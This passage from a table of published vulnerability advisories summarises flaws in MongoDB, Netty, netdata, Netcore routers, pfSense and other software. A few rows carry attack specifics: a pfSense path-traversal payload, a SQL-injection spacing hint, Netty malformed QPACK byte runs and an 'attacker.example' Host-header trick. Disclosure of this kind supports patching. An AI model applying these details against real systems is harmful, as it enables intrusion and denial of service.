&lt;td&gt;MongoDB Compass can interpolate a database name without escaping into the initial input of its embedded MongoDB shell when a user opens the shell from that database&#039;s view. A user with privileges to create databases on a server that a Compass user connects to may, under specific conditions, have content evaluated as shell input within the Compass process, with that process&#039;s privileges. This requires the Compass user to open the shell for the affected database.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-96750&quot; target=&quot;_blank&quot;&gt;CVE-2026-96750&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;MongoDB--Laravel MongoDB (PHP)&lt;/td&gt;
&lt;td&gt;Improper neutralization of special elements in data query logic in the cache lock implementation of the MongoDB integration for Laravel can cause a caller-supplied lock owner value to be evaluated as an aggregation expression rather than as a literal value. An authenticated user who can influence the owner value an application uses when acquiring or restoring a lock may take over or prematurely expire a lock held by another process, which can lead to duplicated or conflicting operations.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-96744&quot; target=&quot;_blank&quot;&gt;CVE-2026-96744&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;MongoDB--Python Driver&lt;/td&gt;
&lt;td&gt;An integer overflow in the BSON document encoding component of the MongoDB Python Driver&#039;s bundled native extension may occur when a single document is built from an unusually large amount of caller-supplied data. Size arithmetic is performed in a signed 32-bit type, and the guard meant to catch the overflow is written in a form whose behavior is not defined by the C language standard. A party with no privileges who can place a very large value into data that an application encodes may, depending on how the native extension was built, cause a write outside the bounds of an allocated buffer inside the application&#039;s own process.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;8.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-96749&quot; target=&quot;_blank&quot;&gt;CVE-2026-96749&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Moore Threads--MTT S80 Driver Package&lt;/td&gt;
&lt;td&gt;A vulnerability has been found in Moore Threads MTT S80 Driver Package up to 340.150. Impacted is the function sub_140001000 in the library mtdispkm64.sys of the component IOCTL Handler. The manipulation leads to heap-based buffer overflow. An attack has to be approached locally. The vendor was contacted early about this disclosure but did not respond in any way.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-94424&quot; target=&quot;_blank&quot;&gt;CVE-2026-94424&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Moore Threads--MTT S80 Driver Package&lt;/td&gt;
&lt;td&gt;A vulnerability was found in Moore Threads MTT S80 Driver Package 340.150. The affected element is the function sub_140006F0C in the library mtdispkm64.sys of the component IOCTL Handler. The manipulation results in improper privilege management. Attacking locally is a requirement. The vendor was contacted early about this disclosure but did not respond in any way.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-94425&quot; target=&quot;_blank&quot;&gt;CVE-2026-94425&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;moquette-io--moquette&lt;/td&gt;
&lt;td&gt;Moquette is a lightweight Java MQTT broker. Prior to 0.18.1, when pattern-based ACL rules are configured, AuthorizationsCollector.canDoOperation substitutes client ID and username values directly into rules containing %c or %u and then treats the result as an MQTT topic filter. A client that uses + or # in either identity can broaden the substituted filter and gain cross-tenant read and write access. A # identity can also produce an invalid filter that triggers a NullPointerException in Topic.match and disrupts session processing. This issue is fixed in version 0.18.1.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;9.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-85724&quot; target=&quot;_blank&quot;&gt;CVE-2026-85724&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;MrPear--DesktopSMS&lt;/td&gt;
&lt;td&gt;DesktopSMS 1.11.0 by MrPear contains an unauthorized access vulnerability that allows local attackers to transmit SMS, retrieve SMS-derived content, and persist an attacker-selected paired identity by interacting with the application&#039;s local service without any pairing confirmation or user interaction. Attackers can exploit the unauthenticated local service through same-device loopback to perform privileged SMS operations using the victim application&#039;s permissions.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;7.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-94540&quot; target=&quot;_blank&quot;&gt;CVE-2026-94540&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;MrSteam--iSteamX application&lt;/td&gt;
&lt;td&gt;Prior to 9/18/2026, the iSteamX mobile application&#039;s AWS policy could grant authenticated users access to wildcard MQTT topics, which can expose other users&#039; device data and allow the attacker to start and stop other connected users&#039; devices. This risked exposing user profile information and potential scalding due to unintended device activation.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;9.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-95699&quot; target=&quot;_blank&quot;&gt;CVE-2026-95699&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;muety--Wakapi&lt;/td&gt;
&lt;td&gt;In Wakapi before 2.17.6, the user caching service allows a lookup to be resolved in an unintended lookup context, leading to account takeover.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;7.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97737&quot; target=&quot;_blank&quot;&gt;CVE-2026-97737&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;n/a--Open-Web-Analytics&lt;/td&gt;
&lt;td&gt;A security flaw has been discovered in Open-Web-Analytics up to 1.8.1. Affected is the function Event::loadFromArray of the file queue.php of the component Remote Event Queue Endpoint. Performing a manipulation results in deserialization. The attack can be initiated remotely. Upgrading to version 1.8.2 is able to address this issue. The patch is named 78c1222ec0e2119d84684032da1541120a2cdd23. The affected component should be upgraded.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;7.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97865&quot; target=&quot;_blank&quot;&gt;CVE-2026-97865&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;n/a--PgBouncer&lt;/td&gt;
&lt;td&gt;Missing validation of a mandatory attribute in the SCRAM client-final-message parser in PgBouncer through 1.25.2 allows an unauthenticated remote attacker to crash the process. A malformed message can make the parser report success while leaving a required value unset, which is then dereferenced as a NULL pointer. The crash occurs before any credential is verified, so no valid account is required. Because PgBouncer serves all clients from a single process, this terminates every pooled connection.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-19888&quot; target=&quot;_blank&quot;&gt;CVE-2026-19888&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;n/a--PgBouncer&lt;/td&gt;
&lt;td&gt;Integer overflow in the packet buffer growth logic in PgBouncer through 1.25.2 allows an unauthenticated remote attacker to cause a denial of service. Sufficiently large input makes the buffer size computation overflow, leaving the growth loop unable to terminate. Because PgBouncer serves all clients from a single process, this saturates a CPU core and stalls every pooled connection until the process is killed. Both unauthenticated and authenticated code paths can reach the overflow.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-6668&quot; target=&quot;_blank&quot;&gt;CVE-2026-6668&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;n/a--QCMS&lt;/td&gt;
&lt;td&gt;A security vulnerability has been detected in QCMS up to 6.0.6. This issue affects the function self_Tmp in the library Lib/Config/Controllers.php of the component Content Detail Page. Such manipulation of the argument ID leads to sql injection. The attack may be performed from remote. The exploit has been disclosed publicly and may be used. Router uses raw REQUEST_URI without URL decoding, so payloads must contain literal spaces - %20 never decodes before route parsing. The support team of the vendor was contacted early about this disclosure. Unfortunately, they responded just with profanity.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;7.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-94110&quot; target=&quot;_blank&quot;&gt;CVE-2026-94110&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;NationalSecurityAgency--ghidra&lt;/td&gt;
&lt;td&gt;Ghidra versions through 12.1.4 contain a stack-based out-of-bounds write vulnerability in the decompiler&#039;s leftshift128 function when processing negative shift amounts from p-code. Attackers can craft malicious binaries with specific instruction sequences that trigger the overflow when decompiled, corrupting memory and potentially achieving code execution.&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100504&quot; target=&quot;_blank&quot;&gt;CVE-2026-100504&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Neethuharii--CafeManagement&lt;/td&gt;
&lt;td&gt;A security flaw has been discovered in Neethuharii CafeManagement. This issue affects some unknown processing of the file AddProductCode.php. The manipulation of the argument image results in unrestricted upload. The attack may be performed from remote. The exploit has been released to the public and may be used for attacks. This product utilizes a rolling release system for continuous delivery, and as such, version information for affected or updated releases is not disclosed. The vendor was contacted early about this disclosure but did not respond in any way.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;7.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-96513&quot; target=&quot;_blank&quot;&gt;CVE-2026-96513&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Neethuharii--CafeManagement&lt;/td&gt;
&lt;td&gt;A weakness has been identified in Neethuharii CafeManagement. Impacted is an unknown function of the file CafePortalLogin.php of the component Login Handler. This manipulation of the argument uname causes sql injection. It is possible to initiate the attack remotely. The exploit has been made available to the public and could be used for attacks. This product is using a rolling release to provide continious delivery. Therefore, no version details for affected nor updated releases are available. The vendor was contacted early about this disclosure but did not respond in any way.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;7.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-96514&quot; target=&quot;_blank&quot;&gt;CVE-2026-96514&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Neethuharii--CafeManagement&lt;/td&gt;
&lt;td&gt;A flaw has been found in Neethuharii CafeManagement. Affected by this vulnerability is the function addcashier of the file AddCashierCode.php. Executing a manipulation of the argument uname/pass/role/status can lead to improper authorization. The attack may be performed from remote. The exploit has been published and may be used. The vendor was contacted early about this disclosure but did not respond in any way.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;7.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-96556&quot; target=&quot;_blank&quot;&gt;CVE-2026-96556&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Netcore--NBR200V2&lt;/td&gt;
&lt;td&gt;A vulnerability was identified in Netcore NBR200V2 1.3.241127.071246. This vulnerability affects unknown code of the file /www/cgi-bin/upgrade of the component Firmware Upgrade CGI Endpoint. Such manipulation of the argument QUERY_STRING leads to command injection. The attack can be executed remotely. The exploit is publicly available and might be used. The vendor was contacted early about this disclosure but did not respond in any way.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;9.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-94098&quot; target=&quot;_blank&quot;&gt;CVE-2026-94098&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Netcore--NBR200V2&lt;/td&gt;
&lt;td&gt;A security flaw has been discovered in Netcore NBR200V2 1.3.241127.071246. This issue affects some unknown processing of the file restore.cgi of the component Backup Restore. Performing a manipulation of the argument QUERY_STRING results in command injection. The attack is possible to be carried out remotely. The exploit has been released to the public and may be used for attacks. The vendor was contacted early about this disclosure but did not respond in any way.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;9.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-94099&quot; target=&quot;_blank&quot;&gt;CVE-2026-94099&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Netcore--NBR200V2&lt;/td&gt;
&lt;td&gt;A weakness has been identified in Netcore NBR200V2 1.3.241127.071246. Impacted is the function wan_config_set_vlan of the file /usr/bin/routerd of the component WAN VLAN Reconfiguration. Executing a manipulation of the argument vlan_wanX.ports can lead to buffer overflow. The attack may be performed from remote. The exploit has been made available to the public and could be used for attacks. The vendor was contacted early about this disclosure but did not respond in any way.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;9.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-94100&quot; target=&quot;_blank&quot;&gt;CVE-2026-94100&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Netcore--NBR200V2&lt;/td&gt;
&lt;td&gt;A security vulnerability has been detected in Netcore NBR200V2 1.3.241127.071246. The affected element is the function vlan_load_form_uci of the file /usr/bin/routerd. The manipulation of the argument wan_num leads to buffer overflow. It is possible to initiate the attack remotely. The exploit has been disclosed publicly and may be used. The vendor was contacted early about this disclosure but did not respond in any way.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;9.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-94101&quot; target=&quot;_blank&quot;&gt;CVE-2026-94101&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;netdata--netdata&lt;/td&gt;
&lt;td&gt;Netdata is an open source observability tool. Prior to 2.10.4, the setuid-root ndsudo helper command fail2ban-client-status-socket in src/collectors/utils/ndsudo.c accepts a caller-controlled --socket_path from the low-privileged netdata service account. The account can direct root fail2ban-client to a malicious UNIX socket, and fail2ban/client/csocket.py CSocket.receive() passes the returned data to pickle.loads(), allowing attacker-controlled code to execute as root on systems with fail2ban-client installed. This issue is fixed in version 2.10.4 and nightly build 2.10.0-782-nightly.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;8.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83603&quot; target=&quot;_blank&quot;&gt;CVE-2026-83603&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;netdata--netdata&lt;/td&gt;
&lt;td&gt;Netdata is an open source observability tool. From version 2.0.0 until 2.10.4, Netdata Windows Agent MSI repair launches powershell.exe and wevtutil.exe as elevated interactive processes in the initiating user&#039;s desktop session. A low-privileged local user who triggers repair can interact with or hijack those visible process windows to execute arbitrary commands with SYSTEM privileges. This issue is fixed in stable version 2.10.4.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83597&quot; target=&quot;_blank&quot;&gt;CVE-2026-83597&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;netdata--netdata&lt;/td&gt;
&lt;td&gt;Netdata is an open source observability tool. From rom 2.0.0 until 2.10.4, during Netdata Windows Agent MSI repair, powershell.exe runs as SYSTEM without -NoProfile and loads %USERPROFILE%\Documents\WindowsPowerShell\Microsoft.PowerShell_profile.ps1 from the low-privileged user who initiated repair. Commands placed in that profile before repair therefore execute with SYSTEM privileges. This vulnerability is fixed in 2.10.4.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83598&quot; target=&quot;_blank&quot;&gt;CVE-2026-83598&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;netdata--netdata&lt;/td&gt;
&lt;td&gt;Netdata is an open source observability tool. Prior to 2.11.0, Netdata&#039;s unauthenticated WebSocket server negotiates permessage-deflate before authentication, and src/web/websocket/websocket-compression.c allows websocket_client_decompress_message() to grow decompressed output toward WS_MAX_DECOMPRESSED_SIZE without enforcing a compressed-to-decompressed ratio. Small highly compressed frames can therefore cause large server-side allocations, and repeated concurrent connections can exhaust memory and terminate monitoring. This vulnerability is fixed in 2.11.0.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83599&quot; target=&quot;_blank&quot;&gt;CVE-2026-83599&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Netgate--pfSense Plus&lt;/td&gt;
&lt;td&gt;In Netgate pfSense Plus before 26.07 and pfSense CE before 2.9.0, a Local File Inclusion (LFI) vulnerability in the Dashboard (index.php) widget sequence data handling allows an authenticated attacker to execute arbitrary PHP code. To exploit this, an attacker with privileges to modify Dashboard settings and write arbitrary files to the pfSense firewall system (e.g., /tmp/test.widget.php) can submit a crafted widget sequence value containing a path traversal payload (e.g., ../../../../../../../../../../../tmp/test). The Dashboard will subsequently read and execute the arbitrary PHP file as if it were a standard widget.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;8.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97730&quot; target=&quot;_blank&quot;&gt;CVE-2026-97730&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;netty--netty&lt;/td&gt;
&lt;td&gt;Netty (io.netty:netty-codec-http) versions up to and including 4.1.137.Final and from 4.2.0.Final through 4.2.17.Final accept an unlimited number of concurrent remote-initiated SPDY streams: SpdySessionHandler defaults localConcurrentStreams to Integer.MAX_VALUE and exposes no API to change it. A remote peer that opens a SPDY connection and sends millions of SYN_STREAM frames with FLAG_FIN=0 causes the server to allocate unbounded heap and direct memory, eventually triggering a JVM OutOfMemoryError and crashing the service. Fixed in 4.1.138.Final and 4.2.18.Final.&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100655&quot; target=&quot;_blank&quot;&gt;CVE-2026-100655&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;netty--netty&lt;/td&gt;
&lt;td&gt;Netty (io.netty:netty-codec-http) contains an unbounded per-connection queue growth flaw in HttpServerCodec. The codec tracks the HTTP method of each still-unanswered pipelined request; the first 32 entries are bit-packed into a single long, but every additional entry is appended to methodOverflowQueue, an ArrayDeque with no size limit and no rejection path. A remote, unauthenticated attacker who pipelines HTTP/1.1 requests on a single connection while withholding reads on their own end (preventing responses from being flushed) can grow this queue without bound, causing unbounded heap growth and denial of service. Affected versions are 4.2.0.Final through 4.2.17.Final and all releases up to and including 4.1.137.Final; the issue is fixed in 4.2.18.Final and 4.1.138.Final.&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100656&quot; target=&quot;_blank&quot;&gt;CVE-2026-100656&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;netty--netty&lt;/td&gt;
&lt;td&gt;Netty&#039;s STOMP codec (io.netty:netty-codec-stomp) contains a ByteBuf leak in StompSubframeDecoder. Once a frame&#039;s declared content-length has been fully read, the decoder allocates a chunk buffer from the channel allocator and parks it in an instance field while waiting for the single NUL byte that terminates the frame. If that byte never arrives, the buffer is never released: the replay Signal thrown by skipNullCharacter extends Error rather than Exception, so the decoder&#039;s catch(Exception) release path does not run, and StompSubframeDecoder overrides neither handlerRemoved0 nor channelInactive, so the buffer also survives channel teardown. A remote peer can leak one allocator buffer per connection by sending a complete, well-formed frame body and withholding its terminating NUL byte; with the default pooled allocator the memory is never returned to the pool or reclaimed by garbage collection, so the leak accumulates for the lifetime of the process and can lead to memory exhaustion. This affects versions up to and including 4.1.137.Final and versions 4.2.0.Final through 4.2.17.Final; it is fixed in 4.1.138.Final and 4.2.18.Final.&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100657&quot; target=&quot;_blank&quot;&gt;CVE-2026-100657&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;netty--netty&lt;/td&gt;
&lt;td&gt;Netty&#039;s HTTP/3 codec (io.netty:netty-codec-http3) from 4.2.0.Final through 4.2.17.Final retains unbounded per-stream QPACK encoder state. QpackEncoder stores a queue and a dynamic-table index tracker for every encoded field section that references the QPACK dynamic table, keyed by the peer-controlled QUIC stream ID, and these entries are released only when the remote decoder sends a Section Acknowledgment or Stream Cancellation instruction - not when the HTTP/3 stream completes. There is no limit on the number of tracked streams, field sections, or retained bytes. A remote, unauthenticated HTTP/3 client can advertise a non-zero QPACK dynamic-table capacity, acknowledge the table insertion so the server reuses a dynamically indexed response header, and then omit all mandatory Section Acknowledgments while issuing sequential requests over a single QUIC connection, bypassing concurrent-stream limits and causing unbounded heap growth until the server exhausts memory (denial of service). Fixed in 4.2.18.Final.&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100660&quot; target=&quot;_blank&quot;&gt;CVE-2026-100660&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;netty--netty&lt;/td&gt;
&lt;td&gt;Netty&#039;s HTTP/3 codec (io.netty:netty-codec-http3) versions 4.2.0.Final through 4.2.17.Final contain a denial-of-service vulnerability in the QPACK prefixed-integer decoder (QpackUtil.decodePrefixedInteger), which does not bound the number of continuation bytes it will process. A remote, unauthenticated peer can open a QPACK unidirectional stream (type 0x02 encoder or 0x03 decoder) and send a first byte with all prefix bits set (e.g. 0xFF for a 7-bit prefix or 0x3F for a 5-bit prefix) followed by an endless run of 0x80 continuation bytes. The decoder returns -1 (&#039;need more bytes&#039;), so callers never consume the input, the ByteToMessageDecoder cumulator grows without bound, and each decode() invocation re-scans the whole accumulated buffer, yielding O(N^2) CPU cost. The result is unbounded per-connection heap growth (OutOfMemoryError) and event-loop CPU starvation, reachable in every configuration. Fixed in 4.2.18.Final.&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100661&quot; target=&quot;_blank&quot;&gt;CVE-2026-100661&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;netty--netty&lt;/td&gt;
&lt;td&gt;Netty&#039;s HTTP/3 codec (io.netty:netty-codec-http3) versions 4.2.0.Final through 4.2.17.Final contain an uncontrolled resource consumption vulnerability in the QPACK encoder-stream instruction decoder (QpackEncoderHandler, installed on the peer-initiated unidirectional QPACK encoder stream, type 0x02). The handler accepts an attacker-declared string-literal length of up to Integer.MAX_VALUE (~2 GiB) for the Name Length and Value Length fields of the &quot;Insert With Literal Name&quot; instruction (RFC 9204 Â§4.3.3), with no per-instruction or per-literal length cap and no cumulation-size limit; the existing HTTP/3 limits (maxHeaderListSize, maxUnknownFramePayloadLength, DEFAULT_MAX_FIELD_SECTION_SIZE) are not applied to this handler. A remote, unauthenticated peer with an established HTTP/3 connection to a default Netty HTTP/3 server can declare a very large literal length and then trickle fewer bytes than declared, causing the ByteToMessageDecoder MERGE cumulator to retain and grow the per-connection buffer, and ultimately triggering a large byte-array allocation. This leads to unbounded per-connection heap growth and OutOfMemoryError, resulting in denial of service. Fixed in 4.2.18.Final.&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100662&quot; target=&quot;_blank&quot;&gt;CVE-2026-100662&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;netty--netty&lt;/td&gt;
&lt;td&gt;Netty&#039;s HTTP/3 codec (io.netty:netty-codec-http3) from 4.2.2.Final through 4.2.17.Final does not special-case HTTP/1 CONNECT authority-form request-targets when converting HTTP/1 messages to HTTP/3 in HttpConversionUtil.toHttp3Headers. The authority-form target (e.g., &quot;CONNECT trusted.example:443&quot;) is parsed as a URI, so its host is emitted as :scheme, :path is set to &quot;/&quot;, and the HTTP/1 Host header is used as :authority; if no Host header is present the CONNECT target is dropped. In a Netty-based HTTP/1-to-HTTP/3 proxy or gateway, a remote client can send a CONNECT request whose Host header names a different authority than the request-target, producing a malformed HTTP/3 CONNECT whose tunnel :authority is attacker-controlled. This can bypass tunnel allow-lists, egress policy, backend selection, or audit controls that validate the HTTP/1 CONNECT request-target before forwarding over HTTP/3. The issue is fixed in 4.2.18.Final.&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100663&quot; target=&quot;_blank&quot;&gt;CVE-2026-100663&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;netty--netty&lt;/td&gt;
&lt;td&gt;Netty&#039;s HTTP/3 codec (io.netty:netty-codec-http3) versions 4.2.2.Final through 4.2.17.Final builds the HTTP/3 :authority pseudo-header from the HTTP/1 Host header before considering the authority of an absolute-form HTTP/1 request-target. In HttpConversionUtil.toHttp3Headers(HttpMessage, boolean) - reached via Http3FrameToHttpObjectCodec(false) - a non-empty Host header takes precedence over the request-target authority, contrary to the HTTP/1.1 rule that a server receiving an absolute-form request-target must ignore the Host header. In a Netty-based HTTP/1-to-HTTP/3 gateway, proxy, or protocol bridge, a remote client can send a request such as &quot;GET https://trusted.example/admin HTTP/1.1&quot; with &quot;Host: attacker.example&quot;, causing components that validate, authorize, or route on the RFC-defined request-target authority to reach a different decision than the upstream HTTP/3 peer, which receives :authority derived from the conflicting Host header. This authority confusion can affect virtual-host routing, allow-list checks, backend selection, cache keys, and URL generation. The advisory reports integrity impact only (no code execution, memory corruption, or availability impact). Fixed in 4.2.18.Final.&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
